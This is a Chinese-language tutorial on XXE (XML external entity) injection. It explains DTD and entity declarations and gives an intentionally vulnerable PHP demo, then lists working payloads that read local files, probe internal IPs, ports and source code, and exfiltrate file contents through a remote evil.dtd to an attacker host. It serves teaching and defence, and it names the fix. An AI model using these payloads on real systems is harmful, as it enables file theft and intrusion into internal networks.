0x01概述
XXE(外部實體注入)是XML注入的一種,普通的XML注入利用面比較狹窄,如果有的話也是邏輯類漏洞。XXE擴大了攻擊面。
當允許引用外部實體時,就可能導致任意文件讀取、系統命令執行、內網端口探測、攻擊內網網站等危害。
防御方法:禁用外部實體(PHP:可以將libxml_disable_entity_loader設置為TRUE來禁用外部實體)
0x02 XML基礎知識
2.1 XML基本結構
DTD 的作用:1. 定義元素(其實就是對應 XML 中的標簽);2. 定義實體(對應XML 標簽中的內容)
假如 DTD 位於 XML 源文件的外部,那么可以通過引用【外部文檔說明】的方式,效果同上:
2.2 兩種外部文檔說明(DTD)
1、 當引用的DTD文件是
本地文件的時候,用SYSTEM標識,並寫上”DTD的文件路徑”,如下:
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
2、 如果引用的DTD文件是一個
公共文件時,采用PUBLIC標識,如下:
<!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文件的URL">
2.3 四種實體聲明(ENTITY)
1. 內部實體聲明
<!ENTITY 實體名稱 "實體的值">
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
2. 外部實體聲明
<!ENTITY 實體名稱 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <reset> <login>&test;</login> <secret>login</secret> </reset>
上述兩種均為引用實體,主要在
XML文檔中被應用,引用方式:
&實體名稱; 末尾要帶上分號,這個引用將直接轉變成實體內容。
3. 參數實體聲明
<!ENTITY % 實體名稱 "實體的值">
<!ENTITY % 實體名稱 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]> <reset> <secret>login</secret> </reset>
參數實體,被DTD文件自身使用 ,引用方式為:%實體名稱。和通用實體一樣,參數實體也可以外部引用。
允許包含外部實體,就可能存在XXE 攻擊。
外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,具體內容如下所示:

4. 公共實體聲明
<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">
0x03 XXE漏洞
3.1 實驗1(有回顯)
測試demo:
<?php libxml_disable_entity_loader (false); //若為true,則表示禁用外部實體 $xmlfile = file_get_contents('php://input'); //可以獲取POST來的數據 $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
【利用1】讀取本地文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
【利用2】讀取含特殊字符的本地文件
如果文件中含有特殊字符,如&,<,>,",'等,通過上述方法會報錯,需要借助CDATA,CDATA節中的所有字符都會被當做元素字符數據的常量部分,而不是 xml標記。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///C:/phpStudy/WWW/zhan/XXE-K/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil.dtd"> %dtd; ]> <roottag>&all;</roottag>
http://192.168.220.143:8888/zhan/XXE-K/evil.dtd:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
【利用3】內網ip探測
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144"> ]> <creds>&goodies;</creds>
注:根據響應的時間的長短判斷ip是否存在,可以通過burp重放遍歷端口
【利用4】內網端口探測
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144:22"> ]> <creds>&goodies;</creds>
注:根據響應的時間的長短判斷端口是否開放,可以通過burp重放遍歷端口;如果有報錯,可以直接探測出banner信息。

【利用5】內網系統源碼探測
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.220.144/bWAPP/login.php"> ]> <creds>&goodies;</creds>
注:審計源碼,進一步發現內網系統漏洞(如sql注入),則可通過blind xxe進行注入
其他:通過jar協議上傳文件;通過ftp協議結合 CRLF 注入攻擊SMTP服務器
3.2 實驗2(無回顯)
測試demo:
<?php libxml_disable_entity_loader (false); //若為true,則表示禁用外部實體 $xmlfile = file_get_contents('php://input'); //可以獲取POST來的數據 $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
【利用1】外帶數據讀取文件
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd"> %remote;%int;%send; ]>
http://192.168.220.143:8888/zhan/XXE-K/evil2.dtd:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.220.144:9999?p=%file;'>">
參考鏈接: